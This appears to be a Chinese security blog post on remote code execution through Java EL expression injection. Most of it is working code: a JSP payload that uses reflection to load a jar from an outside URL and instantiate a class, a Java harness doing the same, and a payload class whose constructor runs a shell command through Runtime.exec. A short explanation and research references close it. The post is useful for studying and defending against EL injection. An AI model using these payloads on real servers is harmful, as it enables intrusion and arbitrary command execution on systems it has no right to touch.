EL表达式远程代码执行

##1、利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<%@ page language="java" import="java.util.*" pageEncoding="utf-8"%>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/fmt" prefix="fmt" %>
<%-- 反射创建一个list对象放到session --%>
${pageContext.getSession().setAttribute("list","".getClass().forName("java.util.ArrayList").newInstance())}
<%-- 创建远程URL对象并add到session里面的list中去 --%>
${pageContext.getSession().getAttribute("list").add(
pageContext.getSession().getServletContext().getResource("/").toURI().create("http://p2j.cn/tools/test.jar").toURL()
)}
<%-- 加载远程jar并调用初始化方法 --%>
${pageContext.getSession().getClass().getClassLoader().getParent().newInstance(
pageContext.getSession().getAttribute("list").toArray(
pageContext.session.servletContext.getClass().getClassLoader().getParent().getURLs()
)
).loadClass("org.javaweb.test.HelloWorld").newInstance()}

##2、java示例代码

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static void main(String[] args) {
try {
// 获取系统类加载器sun.misc.Launcher$AppClassLoader
Class<?> clazz = ClassLoader.getSystemClassLoader().getClass();
// 定义远程加载的jar
URL[] urls = new URL[] { new URL("http://p2j.cn/tools/test.jar") };
// 获取AppClassLoader的newInstance方法java.net.URLClassLoader.newInstance(java.net.URL[])
Method method = clazz.getMethod("newInstance", new Class[] { java.net.URL[].class });
// java.net.FactoryURLClassLoader
ClassLoader loader = (ClassLoader) method.invoke(clazz, new Object[] { urls });
Class<?> helloClass = (Class<?>) loader.getClass().getMethod("loadClass", String.class).invoke(loader, new Object[] { "org.javaweb.test.HelloWorld" });
// 调用无参无返回值的public静态方法 public static void hello(),静态方法调用不需要创建目标对象的实例
helloClass.getMethod("hello").invoke(null, new Object[]{});
// 调用无参有返回值的public静态方法 public static String world()
String world = (String) helloClass.getMethod("world").invoke(null,new Object[]{});
// 调用有参有返回值的protected静态方法 protected String test(String str) 非静态方法需要实例化
// 获取这个方法的时候因为参数是String所以getMethod的时候需要传一个参数类型String.class
// 需要特别注意的是getMethod和getDeclaredMethod的区别,getMethod无法获取当前类的非公开方法
// getDeclaredMethod获取获取本类的所以方法但是不包括从父类继承过来的方法
Method testMethod = helloClass.getDeclaredMethod("test", String.class);
// test方法是非public方法,调用前需要设置访问权限
testMethod.setAccessible(true);
String test = (String) testMethod.invoke(helloClass.newInstance(), new Object[] { "测试!" });
String result = (String) helloClass.getMethod("exec",String.class).invoke(null,new Object[]{"ifconfig"});
System.out.println(world);
System.out.println(test);
System.out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
}

HelloWorld代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/*
* Copyright yz 2016-2-18 Email:admin@javaweb.org.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.javaweb.test;
import java.io.IOException;
import java.io.InputStream;
/**
*
* @author yz
*
*/
public class HelloWorld {
public HelloWorld(){
System.out.println(exec("ifconfig"));
}
public static void hello(){
System.out.println("hello.");
}
public static String world(){
return "world.";
}
protected String test(String str){
return str;
}
public static String exec(String cmd){
StringBuilder sb = new StringBuilder();
try {
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
int a = 0;
byte[] b = new byte[2048];
while ((a = in.read(b)) != -1) {
sb.append(new String(b, 0, a));
}
in.close();
} catch (IOException e) {
e.printStackTrace();
}
return sb.toString();
}
}

##3、描述

EL表达式在处理这些特殊的语句的时候会有过滤,但是上面的表达式通过反射获取系统的类加载器sun.misc.Launcher$AppClassLoader对象。其实AppClassLoader就是一个URLClassLoader,这里调用父类URLClassLoadernewInstance方法就可以把构建的远程jar加载进来,实例化后的对象是java.net.FactoryURLClassLoader。最后创建远程jar的类实例的初始化过程间接的调用exec方法执行命令。详细描述请参考利用代码内的注释。

##4、参考

  1. http://blog.orange.tw/search?updated-max=2014-12-11T00:55:00%2B08:00&max-results=5&start=5&by-date=false
  2. https://www.mindedsecurity.com/fileshare/ExpressionLanguageInjection.pdf
  3. http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
Python/Security<br>程序媛<br><br>小狐狸.